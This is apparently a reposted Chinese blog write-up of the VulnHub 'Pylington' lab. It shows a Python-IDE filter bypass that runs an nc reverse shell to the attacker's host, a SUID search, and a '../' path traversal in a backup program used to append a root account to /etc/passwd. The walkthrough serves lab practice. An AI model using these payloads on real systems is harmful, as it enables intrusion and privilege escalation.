【靶机】vulnhub靶机pylington

靶机下载地址

Pylington: 1 ~ VulnHub

kali ip:192.168.174.128

靶机ip:192.168.174.146

arp-scan -l发现靶机ip是192.168.174.146

进行靶机的端口扫描,这里使用的是nmap的gui

可以发现开放了21和80端口,80端口扫描到了robots里面的三个目录

再使用dirsearch进行目录扫描

在robots目录中的目录看到了账号和密码

Username: steve

Password: bvbkukHAeVxtjjVH

再sign in进行登录

可以看到底下有链接,点击

这里进入了python ide的网页版界面

看到这里有保护机制,看一下代码

def check_if_safe(code: str) -> bool:

    if 'import' in code: # import is too dangerous

        return False

    elif 'os' in code: # os is too dangerous

        return False

    elif 'open' in code: # opening files is also too dangerous

        return False

    else:

        return True

可以看到不能出现import,os,open

这里尝试进行绕过

str1="impor"+"t o"+"s"

str2="o"+"s.system('nc 192.168.174.128 4444 -e /bin/bash')"

exec(str1)

exec(str2)

os.system执行的是nc进行反弹shell,主动连接我们的kali的4444端口,同时我们的kali开启nc进行监听4444端口

nc -nlvp 4444

成功接收到shell,修改交互模式

python -c 'import pty;pty.spawn("/bin/bash")'

查看具有suid权限的文件

find / -perm -u=s -type f 2>/dev/null

这里看到typing命令,执行。

输入一样的代码,得到密码

54ezhCGaJV

成功切换到py用户

使用得到的密码也可以进行py用户的ssh登录

再次查看具有suid权限的命令

得到脚本

py@archlinux secret_stuff]$ cat backup.cc

#include <iostream>

#include <string>

#include <fstream>



int main(){

    std::cout<<"Enter a line of text to back up: ";

    std::string line;

    std::getline(std::cin,line);

    std::string path;

    std::cout<<"Enter a file to append the text to (must be inside the /srv/backups directory): ";

    std::getline(std::cin,path);



    if(!path.starts_with("/srv/backups/")){

        std::cout<<"The file must be inside the /srv/backups directory!\n";

    }

    else{

        std::ofstream backup_file(path,std::ios_base::app);

        backup_file<<line<<'\n';

    }



    return 0;





}

大概的意思就是进行文件的备份,但是目录只能是/srv/backup目录下,这里使用../可以进行切换目录,尝试对/etc/passwd文件进行追加一个具有root权限的用户。

使用openssl进行生成账号密码

修改成passwd的格式,(套用第一行root的格式即可,把x处修改成生成的加盐密码),目录是/srv/backups/../../etc/passwd

这里切换到yyy用户,id查看已经是root权限了

查看root目录

猜你喜欢

转载自blog.csdn.net/weixin_52450702/article/details/129038354